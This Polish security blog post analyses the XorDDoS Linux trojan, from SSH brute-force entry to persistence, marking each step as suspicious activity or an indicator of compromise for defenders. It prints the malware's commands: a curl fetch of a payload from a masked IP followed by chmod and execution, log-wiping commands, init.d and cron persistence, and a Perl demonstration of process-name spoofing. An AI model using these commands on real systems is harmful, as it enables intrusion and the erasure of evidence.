NFsec Logo

XorDDoS – Linux Trojan

31/05/2022 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 820, ilość słów: 1008)

P

rzewiduje się, że do końca 2025 roku ponad 30 miliardów urządzeń IoT będzie podłączonych do internetu. To doskonale definiuje cele na kolejne lata dla szkodliwego oprogramowania. Aktualnie w internecie występuje wzmożona aktywność programu XorDDoS. Jest to koń trojański z funkcjami rootkita wykorzystywany do przeprowadzania ataków DDoS na dużą skalę. Jego nazwa pochodzi od szyfrowania XOR, które często jest wykorzystywane w złośliwym oprogramowaniu, jak i w komunikacji sieciowej do C&C. Inspirowany projektem rooty został stworzony dla wielu architektur systemu Linux: ARM, x86 i x64. Wykryty w 2014 roku przez grupę badawczą zajmującą się bezpieczeństwem MalwareMustDie i do dzisiaj pozostaje aktywny. De facto w 2021 roku aktywność tego malware wzrosła o 123% w porównaniu do 2020 roku. Z kolei według telemetrii firmy Microsoft XorDDoS od początku roku zwiększył swoją aktywność o 254%. Prześledźmy jego działanie.

Wejście do systemu:

Dostęp do systemów jest osiągany za pomocą metody brute force na haśle administratora root lub innego użytkownika charakterystycznego dla danego urządzenia IoT np. admin poprzez protokół SSH oraz Telnet. Jeden z wariantów przeszukuje również serwery Dockera wystawiające porty API, aby zainfekować wszystkie hostowane kontenery. Dlatego tak ważne jest, aby nie zezwalać na zdalne logowanie się z kont o przywilejach administracyjnych, a przede wszystkim zmieniać ich standardowe poświadczenia na bardziej skomplikowane lub zamienić je na klucze.

Wykonanie ładunku:

Po poprawnym zalogowaniu się następuje faza instalacji. W celu znalezienia miejsca na zapis ładunku (ang. payload) przeszukiwane są następujące ścieżki: /dev/shm, /bin, /home, /root, /tmp, /usr, /etc. Po znalezieniu katalogu z prawami zapisu, skrypt zmienia swój katalog roboczy właśnie na tą ścieżkę. Następnie ładunek pobierany jest za pomocą narzędzia wget lub curl z zewnętrznego adresu w formacie adresu IPv4 przy pomocy protokołu HTTP (aby nie ryzykować braku obsługi certyfikatu wybranego CA). Nadawane są dla niego bardzo szerokie uprawnienia wykonania do pliku, który jest następnie uruchamiany:

curl http://XXX.XXX.XXX.XXX:8809/a.txt -o fvbwvftthk (SA)
chmod +x fvbwvftthk (SA)
./fvbwvftthk

Pobieranie plików z czystych adresów IP protokołem HTTP stanowi dzisiaj podejrzaną aktywność – SA (ang. Suspicious Activity). Analogicznie nadawanie plikom prawa wykonywania dla wszystkich użytkowników (777). Również nazwa samego pliku jest bardzo charakterystyczna – jest to od 8 do 10 losowych znaków, które będziemy mogli znaleźć w różnych lokalizacjach systemu. Po uruchomieniu pliku binarnego narzędzie wget jest przenoszone pod inną nazwę: good – w celu próby uniknięcia wykrycia przez reguły monitorujące złośliwe użycie wget:

mv /usr/bin/wget /usr/bin/good (IoC)
mv /bin/wget /bin/good (IoC)

Niestety ruch ten powoduje, że dostajemy jasny wskaźnik kompromitacji – IoC (ang. Indicator of Compromise), czyli obiekt identyfikujący potencjalnie złośliwą aktywność w systemie lub sieci, ponieważ w tej ścieżce żaden pakiet linuksowy nie zapisuje takiego pliku binarnego. Po uruchomieniu pliku ELF, następuje próba ukrycia śladów swojej instalacji poprzez nadpisanie zawartości następujących wrażliwych plików:

cat /dev/null > /root/.bash_history
cat /dev/null > /var/log/wtmp
cat /dev/null > /var/log/btmp
cat /dev/null > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/boot.log
cat /dev/null > /var/log/cron
cat /dev/null > /var/log/dmesg
cat /dev/null > /var/log/firewalld
cat /dev/null > /var/log/maillog
cat /dev/null > /var/log/spooler
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/tallylog
cat /dev/null > /var/log/yum.log

Podejrzaną aktywnością jest tutaj uruchamianie polecenia cat z argumentem /dev/null oraz przekierowaniem strumienia. Jest to prosta technika, która powoduje “wyzerowanie” dowolnego pliku pustym znakiem – podobnie jak polecenie:

echo -n > .bash_history

które również powoduje, że cała zawartość pliku jest usuwana.

Persystencja i inne artefakty:

Aby zapewnić sobie uruchomienie procesu po restarcie systemu złośliwe oprogramowanie wrzuca swój skrypt inicjujący (który jest nawet zgodny z Linux Standard Base) do katalogu /etc/init.d np. /etc/init.d/fvbwvftthk lub /etc/init.d/fvbwvftthk.elf (w zależności od wariantu). Uruchamia on plik binarny o tej samej nazwie, co skrypt z ścieżki /tmp (SA). Następnie tworzone są linki symboliczne do skryptu zrzuconego w lokalizacji /etc/init.d z katalogów związanych z poziomami uruchamiania systemu (od 1 do 5) w ścieżkach: /etc/rc[1-5].d/S90[nazwa_z_init.d] oraz /etc/rc.d/rc[1-5].d/S90[nazwa_z_init.d] np.:

/etc/rc3.d/S90fvbwvftthk -> /etc/init.d/fvbwvftthk
/etc/rc.d/rc3.d/S90fvbwvftthk -> /etc/init.d/fvbwvftthk

i uruchamiane polecenia:

update-rc.d fvbwvftthk defaults
systemctl daemon-reload
chkconfig –add fvbwvftthk

które dodają daemona fvbwvftthk do normalnego procesu rozruchu systemu. Drugim mechanizmem mającym zapewnić przetrwanie tego oprogramowania w systemie jest crond. Do ścieżki: /etc/cron.hourly/ wrzucany jest plik: gcc.sh (IoC) lub gcc[0-9].sh (w zależności od wariantu), który oprócz tego, że standardowo będzie uruchamiany, co godzinę to jeszcze za pomocą odpowiedniego wpisu w /etc/crontab:

*/3 * * * * root /etc/cron.hourly/gcc4.sh

będzie wyzwalany, co 3 minuty. Sam skrypt gcc4.sh odwołuje się do pliku umieszczonego w ścieżce: /lib/libudev.so lub /lib/libudev[0-9].so (w zależności od wariantu), który jest jego kolejną kopią. Warto tutaj jeszcze wspomnieć o specjalnym wątku, który w ramach sprawdzania procesów pobiera statystyki dla pliku /var/run/gcc.pid (IoC) lub /var/run/gcc[0-9].pid (w zależności od wariantu) lub jeśli nie istnieje – tworzy go. Jeśli chodzi o procesy systemowe to kod tego trojana wykorzystuje podszywanie się pod inne nazwy, aby ukryć się w systemowym drzewie procesów. Wykonuje to poprzez modyfikację wiersza poleceń w czasie uruchamiania – możemy to zademonstrować za pomocą skryptu Perl:

agresor@darkstar:~$ cat z.pl
#/usr/bin/perl

$0="apache31337";

while(true) {
sleep(3600);
}
agresor@darkstar:~$ perl z.pl &
agresor@darkstar:~$ ps xuaw|grep apache
ubuntu      1089  0.0  0.1  10736  3680 pts/1    S    23:29   0:00 apache31337

Do fałszywych procesów XorDDoS możemy zaliczyć:

cat resolv.conf
netstat -an
bash
whoami
id
cd /etc
ifconfig eth0
ifconfig
echo “find”
uptime
sh
top
gnome-terminal
su
netstat -antop
grep “A”
who
ls -la
pwd
route -n
ps -ef
ls
sleep 1

Większość z tych komend nie powinna widnieć jako procesy systemowe (SA), ponieważ są to typowe polecenia, które zwracają wynik i kończą swoje działanie, a nie wiszą w systemie, jakby coś się zacięło z systemem I/O. Jak widzimy modułowa natura XorDDoS zapewnia atakującym wszechstronnego konia trojańskiego zdolnego do infekowania różnych architektur systemów Linux. Jego ataki typu brute force na SSH są stosunkowo prostą techniką, ale skuteczną. Dzięki umiejętności wykradania poufnych danych, instalowania rootkitów, stosowania mechanizmów ukrywania i utrzymywania dostępu – pozwala na przeprowadzanie ataków DDoS lub zapewnienie wektora ataków dla nowych zagrożeń z różnych serwerów i urządzeń pozostawionych samych sobie.

Więcej informacji: XORDDOS Malware Information, Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.